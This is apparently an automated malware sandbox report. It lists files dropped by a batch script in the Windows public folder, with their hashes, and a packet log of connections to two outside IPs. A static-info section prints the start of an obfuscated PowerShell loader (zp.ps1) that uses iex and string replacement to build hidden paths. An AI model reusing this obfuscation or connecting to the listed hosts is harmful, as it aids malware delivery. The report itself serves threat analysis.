Preview:	0000000000000000001E00B7B7B7003A00626262000000004A0000380000060000000000BFBF000909004D4D4D4D0000DCDC0000EC000000A2A2A2A2A20000B3B3003D008C8C8C000000CFCF00F3F3000000000000009F007A00B2B2000000AFAFAF00070700A6000090000900000000640000ADAD007A7A7A7A7A002900006F6F6F0000004B4B00A7005C00000085000E0E00434343000000A7000000005A000037001F002F2F2F2F2F0000FFFF0000004A4A000000656500A2009100A4A4A4005D000C0C0C00007B0000000000AD00007A7A7A004D00060606000000858500170000DF0000CC0000000000DC000000000000505000009D9D00190000888800ACACAC00BF0000000000000000C4C4001800006868000006060000000087870000000000000000191919191900000067676700004E4E00FFFFFF00ACAC00A200002525000000000013007A0000585858008000000030005000790060600000004400009100007070700000B0006D0000F500000000000000F2F2000076000000E4E4007E7E7E007E7E0082001919190000C9C9000073737373730012121200003E0000002400004E0000100000CFCFCF00000096001D1D00000000000082004D4D0000000000434343000000AA00EDEDED0000007474747474000000FEFE00E9E9E9E9E9E9000000000035353500005A00000000

C:\Users\user\Vkstcentrene\unprotuberant\Benediktinerklostrets\Rehandles\Abortionist\Korses\text-x-generic-template.png

Process:	C:\Users\Public\iqb3.bat
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	594
Entropy (8bit):	7.136914711734985
Encrypted:	false
SSDEEP:	12:6v/7wtZKjCVdCy6Cfgod/213voYKgOKW3UnBIambK:XtoC++godO1DK5Khn+K
MD5:	B10CFE496FD2DF7F3AC90CEB92BB01A2
SHA1:	E6043D3C15DFBBCF1383250AF33B521083ED4435
SHA-256:	2674C9AD3B1DA0C1D4E2DF9388D19EA67E2031A99A9E9061E2C3A585BA2254A5
SHA-512:	330A19FB1E3628FE757A524B947FFA482744ADD5899E46DA7088097E1E2C6B0B2B73AEE5A817ED58E3059D5679B8F5FA7B592E68BB9EA4336D292D04B0085ECC
Malicious:	false
Preview:	.PNG........IHDR................a....sBIT....\|.d.....pHYs..........+......tEXtSoftware.www.inkscape.org..<.....tEXtAuthor.Jakub Steiner.../....tEXtDescription.mimetypes7..d...!tEXtSource.http://jimmac.musichall.czif.^...aIDAT8...=N.1...q.]....".kPFB.. !Qs...G......HH... .A( .c.E..f....4..7oF.......c...(........jMJ....f..F...Z.6......!.Aw{..p..,&..o.pE9..w..................d.;/Cf.D..y.Ts.;..s.8.,.E..[.... M3D..X...uF....;k..).Ur0.....j^.........1...`.i...t4u.Jc.X.....*.1..m.t0l........I..\...T...TxU..5..I....h.;..(-R.Q.......\|x...Z....19.x.;.K.=...\.lkk.........N_.....IEND.B`.

C:\Users\user\Vkstcentrene\unprotuberant\Eners.Spe

Process:	C:\Users\Public\iqb3.bat
File Type:	data
Category:	dropped
Size (bytes):	123679
Entropy (8bit):	7.730320945274431
Encrypted:	false
SSDEEP:	3072:zgWbK0ErSUsHBVVkQ63SaafssNkJsdCZ3reRbZ4CsosX8iA1vkDi1z:z9xUsBkQ6CaGiJzFrehOCoX8Dwi1z
MD5:	60B35112577AC87E67225EDCA27D63AC
SHA1:	22DB32C5C56E9620080ABF0B7F6767C61D8FEA16
SHA-256:	984E5BEEBF5D3D4A7A544300255D18F5E049B67BD13A5A4FF507AFB3F9B1BB6E
SHA-512:	3F2250BC17AFF2D325F94539B71733BDFD16D6D94D851FAAE6C495FA9F066ADBE6E524C5926B2569C5DABD004EAC815C5EB5B32D164208B033C7D0E1FB8CE575
Malicious:	false
Preview:	.............TTTT....>......................SSS.................ll.............................[..../......rrr.qqq....#....9................... ..d...FF................rrrr................bb.....l..\|.......................................==.....jj.............................#####..............11....f...EEE.........3..%%..............@.......7.^.nn........V..bbb..QQ.........u...RR...............N................uuu..............aa...... .................0................>>>>>........vvv.....uuu............g........].............................=................B.uuuu....EEE.ddddddddd..... ......MMMMMMMM.OO.......""..........vv...................................L..<............................777.----...............................d..b....ooooo......yyy...........qqq..ggg.-.7............\\..........G.1..,,............VVVV..............?...'......**..................22............"".......m.............---.................;.....eee.........w.....gg........].....++...JJ..d.......@..

Static File Info

General

File type:	ASCII text, with very long lines (820), with no line terminators
Entropy (8bit):	5.302861759696714
TrID:
File name:	zp.ps1
File size:	820
MD5:	58eb8c4f2d5988814a59fca04c5b0edd
SHA1:	631eaba56247b369d4932a205ef7fa9da9350f3b
SHA256:	e6268aa465a623be3d90f4bebd5719954a9bfb7bdbb2fdb06607221bb548521c
SHA512:	fe0f645759148771f5ac3597527f210caa1a0981efa225f90655105a9a72d57de954a65ea1a8a69ba8e3ea1e56fabbf57459d783036330f4cdad1ea1abe48ea9
SSDEEP:	24:xainmMpGainYWIHi/LM7voOSOWAa6W9zm9pXv:/7pEdICAjo0qzipXv
TLSH:	BE01C2C912A795F3018074D630D1893F6276D60AA5D504E2E5E5461316ACA7D0FD1D2F
File Content Preview:	$flol3=iex($('[Environment]::GetEumnt'''.Replace('umn','nvironmentVariable(''public'') + ''\\e5vxlw.ba')));$flol=iex($('[Environment]::GetEumnt'''.Replace('umn','nvironmentVariable(''public'') + ''\\iqb3.ba')));function getit([string]$fz, [string]$oulv){$

File Icon


Icon Hash:	3270d6baae77db44

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jun 1, 2023 12:14:19.518068075 CEST	49693	443	192.168.2.6	84.16.234.51
Jun 1, 2023 12:14:19.518122911 CEST	443	49693	84.16.234.51	192.168.2.6
Jun 1, 2023 12:14:19.518248081 CEST	49693	443	192.168.2.6	84.16.234.51
Jun 1, 2023 12:14:19.542526007 CEST	49693	443	192.168.2.6	84.16.234.51
Jun 1, 2023 12:14:19.542582035 CEST	443	49693	84.16.234.51	192.168.2.6
Jun 1, 2023 12:14:19.623250961 CEST	443	49693	84.16.234.51	192.168.2.6
Jun 1, 2023 12:14:19.623377085 CEST	49693	443	192.168.2.6	84.16.234.51
Jun 1, 2023 12:14:19.627995014 CEST	49693	443	192.168.2.6	84.16.234.51
Jun 1, 2023 12:14:19.628022909 CEST	443	49693	84.16.234.51	192.168.2.6
Jun 1, 2023 12:14:19.628484964 CEST	443	49693	84.16.234.51	192.168.2.6
Jun 1, 2023 12:14:19.660576105 CEST	49693	443	192.168.2.6	84.16.234.51
Jun 1, 2023 12:14:19.697726011 CEST	443	49693	84.16.234.51	192.168.2.6
Jun 1, 2023 12:14:19.697865963 CEST	443	49693	84.16.234.51	192.168.2.6
Jun 1, 2023 12:14:19.697922945 CEST	443	49693	84.16.234.51	192.168.2.6
Jun 1, 2023 12:14:19.697953939 CEST	49693	443	192.168.2.6	84.16.234.51
Jun 1, 2023 12:14:19.697979927 CEST	443	49693	84.16.234.51	192.168.2.6
Jun 1, 2023 12:14:19.698034048 CEST	49693	443	192.168.2.6	84.16.234.51
Jun 1, 2023 12:14:19.698044062 CEST	443	49693	84.16.234.51	192.168.2.6
Jun 1, 2023 12:14:19.698141098 CEST	49693	443	192.168.2.6	84.16.234.51
Jun 1, 2023 12:14:19.728960037 CEST	443	49693	84.16.234.51	192.168.2.6
Jun 1, 2023 12:14:19.729069948 CEST	49693	443	192.168.2.6	84.16.234.51
Jun 1, 2023 12:14:19.729136944 CEST	443	49693	84.16.234.51	192.168.2.6
Jun 1, 2023 12:14:19.729218006 CEST	49693	443	192.168.2.6	84.16.234.51
Jun 1, 2023 12:14:19.729372025 CEST	443	49693	84.16.234.51	192.168.2.6
Jun 1, 2023 12:14:19.729470015 CEST	49693	443	192.168.2.6	84.16.234.51
Jun 1, 2023 12:14:19.760759115 CEST	443	49693	84.16.234.51	192.168.2.6
Jun 1, 2023 12:14:19.760879040 CEST	443	49693	84.16.234.51	192.168.2.6
Jun 1, 2023 12:14:19.760936022 CEST	49693	443	192.168.2.6	84.16.234.51
Jun 1, 2023 12:14:19.760965109 CEST	443	49693	84.16.234.51	192.168.2.6
Jun 1, 2023 12:14:19.760998011 CEST	49693	443	192.168.2.6	84.16.234.51
Jun 1, 2023 12:14:19.761018991 CEST	443	49693	84.16.234.51	192.168.2.6
Jun 1, 2023 12:14:19.761019945 CEST	49693	443	192.168.2.6	84.16.234.51
Jun 1, 2023 12:14:19.761042118 CEST	443	49693	84.16.234.51	192.168.2.6
Jun 1, 2023 12:14:19.761080027 CEST	49693	443	192.168.2.6	84.16.234.51
Jun 1, 2023 12:14:19.761110067 CEST	49693	443	192.168.2.6	84.16.234.51
Jun 1, 2023 12:14:19.761159897 CEST	443	49693	84.16.234.51	192.168.2.6
Jun 1, 2023 12:14:19.761255980 CEST	443	49693	84.16.234.51	192.168.2.6
Jun 1, 2023 12:14:19.761303902 CEST	49693	443	192.168.2.6	84.16.234.51
Jun 1, 2023 12:14:19.761322975 CEST	443	49693	84.16.234.51	192.168.2.6
Jun 1, 2023 12:14:19.761346102 CEST	443	49693	84.16.234.51	192.168.2.6
Jun 1, 2023 12:14:19.761360884 CEST	49693	443	192.168.2.6	84.16.234.51
Jun 1, 2023 12:14:19.761379004 CEST	49693	443	192.168.2.6	84.16.234.51
Jun 1, 2023 12:14:19.761389017 CEST	443	49693	84.16.234.51	192.168.2.6
Jun 1, 2023 12:14:19.761441946 CEST	49693	443	192.168.2.6	84.16.234.51
Jun 1, 2023 12:14:19.792572975 CEST	443	49693	84.16.234.51	192.168.2.6
Jun 1, 2023 12:14:19.792663097 CEST	443	49693	84.16.234.51	192.168.2.6
Jun 1, 2023 12:14:19.792679071 CEST	49693	443	192.168.2.6	84.16.234.51
Jun 1, 2023 12:14:19.792714119 CEST	443	49693	84.16.234.51	192.168.2.6
Jun 1, 2023 12:14:19.792736053 CEST	49693	443	192.168.2.6	84.16.234.51
Jun 1, 2023 12:14:19.792803049 CEST	443	49693	84.16.234.51	192.168.2.6
Jun 1, 2023 12:14:19.792824030 CEST	49693	443	192.168.2.6	84.16.234.51
Jun 1, 2023 12:14:19.792838097 CEST	443	49693	84.16.234.51	192.168.2.6
Jun 1, 2023 12:14:19.792860985 CEST	49693	443	192.168.2.6	84.16.234.51
Jun 1, 2023 12:14:19.792900085 CEST	49693	443	192.168.2.6	84.16.234.51
Jun 1, 2023 12:14:19.792932034 CEST	443	49693	84.16.234.51	192.168.2.6
Jun 1, 2023 12:14:19.792989016 CEST	49693	443	192.168.2.6	84.16.234.51
Jun 1, 2023 12:14:19.793061018 CEST	443	49693	84.16.234.51	192.168.2.6
Jun 1, 2023 12:14:19.793135881 CEST	49693	443	192.168.2.6	84.16.234.51
Jun 1, 2023 12:14:19.793207884 CEST	443	49693	84.16.234.51	192.168.2.6
Jun 1, 2023 12:14:19.793311119 CEST	49693	443	192.168.2.6	84.16.234.51
Jun 1, 2023 12:14:19.793366909 CEST	443	49693	84.16.234.51	192.168.2.6
Jun 1, 2023 12:14:19.793462992 CEST	49693	443	192.168.2.6	84.16.234.51
Jun 1, 2023 12:14:19.793540955 CEST	443	49693	84.16.234.51	192.168.2.6
Jun 1, 2023 12:14:19.793612957 CEST	49693	443	192.168.2.6	84.16.234.51
Jun 1, 2023 12:14:19.793653011 CEST	443	49693	84.16.234.51	192.168.2.6
Jun 1, 2023 12:14:19.793716908 CEST	49693	443	192.168.2.6	84.16.234.51
Jun 1, 2023 12:14:19.793821096 CEST	443	49693	84.16.234.51	192.168.2.6
Jun 1, 2023 12:14:19.793895006 CEST	49693	443	192.168.2.6	84.16.234.51
Jun 1, 2023 12:14:19.793977976 CEST	443	49693	84.16.234.51	192.168.2.6
Jun 1, 2023 12:14:19.794058084 CEST	49693	443	192.168.2.6	84.16.234.51
Jun 1, 2023 12:14:19.794087887 CEST	443	49693	84.16.234.51	192.168.2.6
Jun 1, 2023 12:14:19.794143915 CEST	49693	443	192.168.2.6	84.16.234.51
Jun 1, 2023 12:14:19.794167995 CEST	49693	443	192.168.2.6	84.16.234.51
Jun 1, 2023 12:14:19.828594923 CEST	443	49693	84.16.234.51	192.168.2.6
Jun 1, 2023 12:14:19.828721046 CEST	49693	443	192.168.2.6	84.16.234.51
Jun 1, 2023 12:14:19.828752995 CEST	443	49693	84.16.234.51	192.168.2.6
Jun 1, 2023 12:14:19.828814983 CEST	49693	443	192.168.2.6	84.16.234.51
Jun 1, 2023 12:14:19.828872919 CEST	443	49693	84.16.234.51	192.168.2.6
Jun 1, 2023 12:14:19.828939915 CEST	49693	443	192.168.2.6	84.16.234.51
Jun 1, 2023 12:14:19.828968048 CEST	443	49693	84.16.234.51	192.168.2.6
Jun 1, 2023 12:14:19.829036951 CEST	49693	443	192.168.2.6	84.16.234.51
Jun 1, 2023 12:14:19.829054117 CEST	443	49693	84.16.234.51	192.168.2.6
Jun 1, 2023 12:14:19.829108953 CEST	49693	443	192.168.2.6	84.16.234.51
Jun 1, 2023 12:14:19.829176903 CEST	443	49693	84.16.234.51	192.168.2.6
Jun 1, 2023 12:14:19.829245090 CEST	49693	443	192.168.2.6	84.16.234.51
Jun 1, 2023 12:14:19.829268932 CEST	443	49693	84.16.234.51	192.168.2.6
Jun 1, 2023 12:14:19.829361916 CEST	443	49693	84.16.234.51	192.168.2.6
Jun 1, 2023 12:14:19.829396009 CEST	49693	443	192.168.2.6	84.16.234.51
Jun 1, 2023 12:14:19.829412937 CEST	443	49693	84.16.234.51	192.168.2.6
Jun 1, 2023 12:14:19.829437017 CEST	49693	443	192.168.2.6	84.16.234.51
Jun 1, 2023 12:14:19.829468012 CEST	443	49693	84.16.234.51	192.168.2.6
Jun 1, 2023 12:14:19.829474926 CEST	49693	443	192.168.2.6	84.16.234.51
Jun 1, 2023 12:14:19.829484940 CEST	443	49693	84.16.234.51	192.168.2.6
Jun 1, 2023 12:14:19.829545975 CEST	49693	443	192.168.2.6	84.16.234.51
Jun 1, 2023 12:14:19.829562902 CEST	49693	443	192.168.2.6	84.16.234.51
Jun 1, 2023 12:14:19.829603910 CEST	443	49693	84.16.234.51	192.168.2.6
Jun 1, 2023 12:14:19.829691887 CEST	49693	443	192.168.2.6	84.16.234.51
Jun 1, 2023 12:14:19.829703093 CEST	443	49693	84.16.234.51	192.168.2.6
Jun 1, 2023 12:14:19.829719067 CEST	443	49693	84.16.234.51	192.168.2.6
Jun 1, 2023 12:14:19.829776049 CEST	49693	443	192.168.2.6	84.16.234.51
Jun 1, 2023 12:14:19.829782009 CEST	443	49693	84.16.234.51	192.168.2.6
Jun 1, 2023 12:14:19.829866886 CEST	49693	443	192.168.2.6	84.16.234.51
Jun 1, 2023 12:14:19.829879999 CEST	443	49693	84.16.234.51	192.168.2.6
Jun 1, 2023 12:14:19.829896927 CEST	49693	443	192.168.2.6	84.16.234.51
Jun 1, 2023 12:14:19.829950094 CEST	49693	443	192.168.2.6	84.16.234.51
Jun 1, 2023 12:14:19.829978943 CEST	443	49693	84.16.234.51	192.168.2.6
Jun 1, 2023 12:14:19.829993963 CEST	443	49693	84.16.234.51	192.168.2.6
Jun 1, 2023 12:14:19.830043077 CEST	49693	443	192.168.2.6	84.16.234.51
Jun 1, 2023 12:14:19.830127954 CEST	443	49693	84.16.234.51	192.168.2.6
Jun 1, 2023 12:14:19.830219984 CEST	49693	443	192.168.2.6	84.16.234.51
Jun 1, 2023 12:14:19.830238104 CEST	443	49693	84.16.234.51	192.168.2.6
Jun 1, 2023 12:14:19.830324888 CEST	49693	443	192.168.2.6	84.16.234.51
Jun 1, 2023 12:14:19.830336094 CEST	443	49693	84.16.234.51	192.168.2.6
Jun 1, 2023 12:14:19.830410957 CEST	49693	443	192.168.2.6	84.16.234.51
Jun 1, 2023 12:14:19.830461025 CEST	443	49693	84.16.234.51	192.168.2.6
Jun 1, 2023 12:14:19.830523014 CEST	49693	443	192.168.2.6	84.16.234.51
Jun 1, 2023 12:14:19.830562115 CEST	443	49693	84.16.234.51	192.168.2.6
Jun 1, 2023 12:14:19.830576897 CEST	443	49693	84.16.234.51	192.168.2.6
Jun 1, 2023 12:14:19.830631971 CEST	443	49693	84.16.234.51	192.168.2.6
Jun 1, 2023 12:14:19.830660105 CEST	49693	443	192.168.2.6	84.16.234.51
Jun 1, 2023 12:14:19.830674887 CEST	443	49693	84.16.234.51	192.168.2.6
Jun 1, 2023 12:14:19.830714941 CEST	49693	443	192.168.2.6	84.16.234.51
Jun 1, 2023 12:14:19.830728054 CEST	443	49693	84.16.234.51	192.168.2.6
Jun 1, 2023 12:14:19.830745935 CEST	49693	443	192.168.2.6	84.16.234.51
Jun 1, 2023 12:14:19.830753088 CEST	443	49693	84.16.234.51	192.168.2.6
Jun 1, 2023 12:14:19.830786943 CEST	49693	443	192.168.2.6	84.16.234.51
Jun 1, 2023 12:14:19.830833912 CEST	49693	443	192.168.2.6	84.16.234.51
Jun 1, 2023 12:14:19.830893040 CEST	49693	443	192.168.2.6	84.16.234.51
Jun 1, 2023 12:14:19.831012011 CEST	49693	443	192.168.2.6	84.16.234.51
Jun 1, 2023 12:14:19.862196922 CEST	443	49693	84.16.234.51	192.168.2.6
Jun 1, 2023 12:14:19.862298965 CEST	443	49693	84.16.234.51	192.168.2.6
Jun 1, 2023 12:14:19.862308979 CEST	49693	443	192.168.2.6	84.16.234.51
Jun 1, 2023 12:14:19.862335920 CEST	443	49693	84.16.234.51	192.168.2.6
Jun 1, 2023 12:14:19.862365961 CEST	49693	443	192.168.2.6	84.16.234.51
Jun 1, 2023 12:14:19.862375021 CEST	49693	443	192.168.2.6	84.16.234.51
Jun 1, 2023 12:14:19.862406015 CEST	443	49693	84.16.234.51	192.168.2.6
Jun 1, 2023 12:14:19.862469912 CEST	49693	443	192.168.2.6	84.16.234.51
Jun 1, 2023 12:14:19.862493992 CEST	443	49693	84.16.234.51	192.168.2.6
Jun 1, 2023 12:14:19.862546921 CEST	49693	443	192.168.2.6	84.16.234.51
Jun 1, 2023 12:14:19.862557888 CEST	443	49693	84.16.234.51	192.168.2.6
Jun 1, 2023 12:14:19.862632990 CEST	443	49693	84.16.234.51	192.168.2.6
Jun 1, 2023 12:14:19.862637043 CEST	49693	443	192.168.2.6	84.16.234.51
Jun 1, 2023 12:14:19.862648010 CEST	443	49693	84.16.234.51	192.168.2.6
Jun 1, 2023 12:14:19.862690926 CEST	49693	443	192.168.2.6	84.16.234.51
Jun 1, 2023 12:14:19.862716913 CEST	443	49693	84.16.234.51	192.168.2.6
Jun 1, 2023 12:14:19.862763882 CEST	49693	443	192.168.2.6	84.16.234.51
Jun 1, 2023 12:14:19.862776995 CEST	443	49693	84.16.234.51	192.168.2.6
Jun 1, 2023 12:14:19.862828970 CEST	49693	443	192.168.2.6	84.16.234.51
Jun 1, 2023 12:14:19.862848043 CEST	443	49693	84.16.234.51	192.168.2.6
Jun 1, 2023 12:14:19.862900972 CEST	49693	443	192.168.2.6	84.16.234.51
Jun 1, 2023 12:14:19.862922907 CEST	443	49693	84.16.234.51	192.168.2.6
Jun 1, 2023 12:14:19.863002062 CEST	443	49693	84.16.234.51	192.168.2.6
Jun 1, 2023 12:14:19.863006115 CEST	49693	443	192.168.2.6	84.16.234.51
Jun 1, 2023 12:14:19.863014936 CEST	443	49693	84.16.234.51	192.168.2.6
Jun 1, 2023 12:14:19.863050938 CEST	49693	443	192.168.2.6	84.16.234.51
Jun 1, 2023 12:14:19.863071918 CEST	443	49693	84.16.234.51	192.168.2.6
Jun 1, 2023 12:14:19.863126993 CEST	443	49693	84.16.234.51	192.168.2.6
Jun 1, 2023 12:14:19.863127947 CEST	49693	443	192.168.2.6	84.16.234.51
Jun 1, 2023 12:14:19.863137960 CEST	443	49693	84.16.234.51	192.168.2.6
Jun 1, 2023 12:14:19.863209009 CEST	443	49693	84.16.234.51	192.168.2.6
Jun 1, 2023 12:14:19.863221884 CEST	49693	443	192.168.2.6	84.16.234.51
Jun 1, 2023 12:14:19.863234043 CEST	443	49693	84.16.234.51	192.168.2.6
Jun 1, 2023 12:14:19.863261938 CEST	49693	443	192.168.2.6	84.16.234.51
Jun 1, 2023 12:14:19.863287926 CEST	49693	443	192.168.2.6	84.16.234.51
Jun 1, 2023 12:14:19.863287926 CEST	443	49693	84.16.234.51	192.168.2.6
Jun 1, 2023 12:14:19.863301039 CEST	443	49693	84.16.234.51	192.168.2.6
Jun 1, 2023 12:14:19.863356113 CEST	49693	443	192.168.2.6	84.16.234.51
Jun 1, 2023 12:14:19.863368988 CEST	443	49693	84.16.234.51	192.168.2.6
Jun 1, 2023 12:14:19.863382101 CEST	443	49693	84.16.234.51	192.168.2.6
Jun 1, 2023 12:14:19.863409996 CEST	49693	443	192.168.2.6	84.16.234.51
Jun 1, 2023 12:14:19.863431931 CEST	443	49693	84.16.234.51	192.168.2.6
Jun 1, 2023 12:14:19.863436937 CEST	49693	443	192.168.2.6	84.16.234.51
Jun 1, 2023 12:14:19.863450050 CEST	443	49693	84.16.234.51	192.168.2.6
Jun 1, 2023 12:14:19.863497972 CEST	49693	443	192.168.2.6	84.16.234.51
Jun 1, 2023 12:14:19.863508940 CEST	443	49693	84.16.234.51	192.168.2.6
Jun 1, 2023 12:14:19.863559008 CEST	49693	443	192.168.2.6	84.16.234.51
Jun 1, 2023 12:14:19.863584995 CEST	443	49693	84.16.234.51	192.168.2.6
Jun 1, 2023 12:14:19.863636971 CEST	49693	443	192.168.2.6	84.16.234.51
Jun 1, 2023 12:14:19.863645077 CEST	443	49693	84.16.234.51	192.168.2.6
Jun 1, 2023 12:14:19.863656044 CEST	443	49693	84.16.234.51	192.168.2.6
Jun 1, 2023 12:14:19.863693953 CEST	49693	443	192.168.2.6	84.16.234.51
Jun 1, 2023 12:14:19.863709927 CEST	443	49693	84.16.234.51	192.168.2.6
Jun 1, 2023 12:14:19.863771915 CEST	49693	443	192.168.2.6	84.16.234.51
Jun 1, 2023 12:14:19.863790035 CEST	443	49693	84.16.234.51	192.168.2.6
Jun 1, 2023 12:14:19.863848925 CEST	49693	443	192.168.2.6	84.16.234.51
Jun 1, 2023 12:14:19.863864899 CEST	443	49693	84.16.234.51	192.168.2.6
Jun 1, 2023 12:14:19.863915920 CEST	49693	443	192.168.2.6	84.16.234.51
Jun 1, 2023 12:14:19.863924026 CEST	443	49693	84.16.234.51	192.168.2.6
Jun 1, 2023 12:14:19.863934994 CEST	443	49693	84.16.234.51	192.168.2.6
Jun 1, 2023 12:14:19.863974094 CEST	49693	443	192.168.2.6	84.16.234.51
Jun 1, 2023 12:14:19.863987923 CEST	443	49693	84.16.234.51	192.168.2.6
Jun 1, 2023 12:14:19.863991976 CEST	49693	443	192.168.2.6	84.16.234.51
Jun 1, 2023 12:14:19.864005089 CEST	443	49693	84.16.234.51	192.168.2.6
Jun 1, 2023 12:14:19.864037037 CEST	49693	443	192.168.2.6	84.16.234.51
Jun 1, 2023 12:14:19.864059925 CEST	49693	443	192.168.2.6	84.16.234.51
Jun 1, 2023 12:14:19.864068031 CEST	443	49693	84.16.234.51	192.168.2.6
Jun 1, 2023 12:14:19.864099026 CEST	443	49693	84.16.234.51	192.168.2.6
Jun 1, 2023 12:14:19.864135027 CEST	49693	443	192.168.2.6	84.16.234.51
Jun 1, 2023 12:14:19.864474058 CEST	49693	443	192.168.2.6	84.16.234.51
Jun 1, 2023 12:14:19.865046978 CEST	49693	443	192.168.2.6	84.16.234.51
Jun 1, 2023 12:14:19.867274046 CEST	49693	443	192.168.2.6	84.16.234.51
Jun 1, 2023 12:14:22.609718084 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:22.777544975 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:22.780476093 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:22.780630112 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:22.948245049 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:22.948807001 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:22.948837996 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:22.948864937 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:22.948890924 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:22.948914051 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:22.948920965 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:22.948937893 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:22.948962927 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:22.948976994 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:22.948987961 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:22.948998928 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:22.949017048 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:22.949021101 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:22.949047089 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:22.949081898 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.116688013 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.116741896 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.116776943 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.116816998 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.116856098 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.116887093 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.116898060 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.116935015 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.116941929 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.116962910 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.116972923 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.117007971 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.117043972 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.117078066 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.117094994 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.117111921 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.117117882 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.117150068 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.117171049 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.117186069 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.117222071 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.117235899 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.117271900 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.117307901 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.117322922 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.117342949 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.117377996 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.117413044 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.117414951 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.117465973 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.285106897 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.285166025 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.285200119 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.285233974 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.285265923 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.285296917 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.285331011 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.285346031 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.285360098 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.285383940 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.285392046 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.285425901 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.285432100 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.285459042 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.285490990 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.285496950 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.285526037 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.285552979 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.285558939 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.285586119 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.285608053 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.285617113 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.285626888 CEST	80	49694	203.175.174.69	192.168.2.6
